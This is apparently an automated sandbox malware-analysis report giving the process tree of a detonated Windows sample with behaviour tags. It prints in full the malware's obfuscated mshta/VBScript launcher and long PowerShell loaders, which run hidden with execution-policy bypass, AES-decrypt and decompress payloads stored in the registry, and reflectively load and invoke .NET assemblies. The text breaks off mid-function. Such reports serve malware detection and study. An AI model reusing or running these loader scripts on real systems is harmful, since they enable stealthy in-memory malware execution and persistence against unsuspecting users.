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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4052
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:68 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{349eb8d3-a90a-4786-8efd-2a7135c566a3}5⤵PID:3012
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3012 -s 1446⤵
- Program crash
PID:716
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(68).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{a928a2e5-a404-4571-86d3-4025d9e5aaa7}5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3624
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{ba18b1fd-e47f-44b1-b1e8-0f5c109d6421}5⤵
- System Location Discovery: System Language Discovery
PID:5676
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{758925a5-46fb-45b0-bbe9-a1b934c27d9d}5⤵
- System Location Discovery: System Language Discovery
PID:5416
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d15ec7ec-fbd8-478d-ba40-b32c4eefd190}5⤵PID:5740
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 4566⤵
- Program crash
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
PID:5440
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{ec627e34-211d-4cd1-9e96-d90c1a68b22f}5⤵PID:5512
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{f627e49b-2d8d-48f6-b4ad-7778f043498c}5⤵
- System Location Discovery: System Language Discovery
PID:5628
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{573a80fa-18ba-4e8d-bc47-ca947ccd0abf}5⤵
- System Location Discovery: System Language Discovery
PID:5596 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 4606⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1452
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1784
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1060
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1712
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2116
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2276
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2800
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2924
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3336
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3440
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C:\Users\Admin\AppData\Local\Temp\00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe"C:\Users\Admin\AppData\Local\Temp\00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe"2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\SYSTEM32\cmd.execmd /c "Uni.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:2588 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2128
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C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function fVoxT($oPFNE){ $iLIer=[System.Security.Cryptography.Aes]::Create(); $iLIer.Mode=[System.Security.Cryptography.CipherMode]::CBC; $iLIer.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $iLIer.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('reBXu8mWH2aPSY80rUiY+qal9/pmltEFd4YzecO07u8='); $iLIer.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SCYRvuoYNjwRzXky6x630g=='); $APXpI=$iLIer.CreateDecryptor(); $return_var=$APXpI.TransformFinalBlock($oPFNE, 0, $oPFNE.Length); $APXpI.Dispose(); $iLIer.Dispose(); $return_var;}function WmmYx($oPFNE){ $toQfi=New-Object System.IO.MemoryStream(,$oPFNE); $LIvgb=New-Object System.IO.MemoryStream; $Glywg=New-Object System.IO.Compression.GZipStream($toQfi, [IO.Compression.CompressionMode]::Decompress); $Glywg.CopyTo($LIvgb); $Glywg.Dispose(); $toQfi.Dispose(); $LIvgb.Dispose(); $LIvgb.ToArray();}function 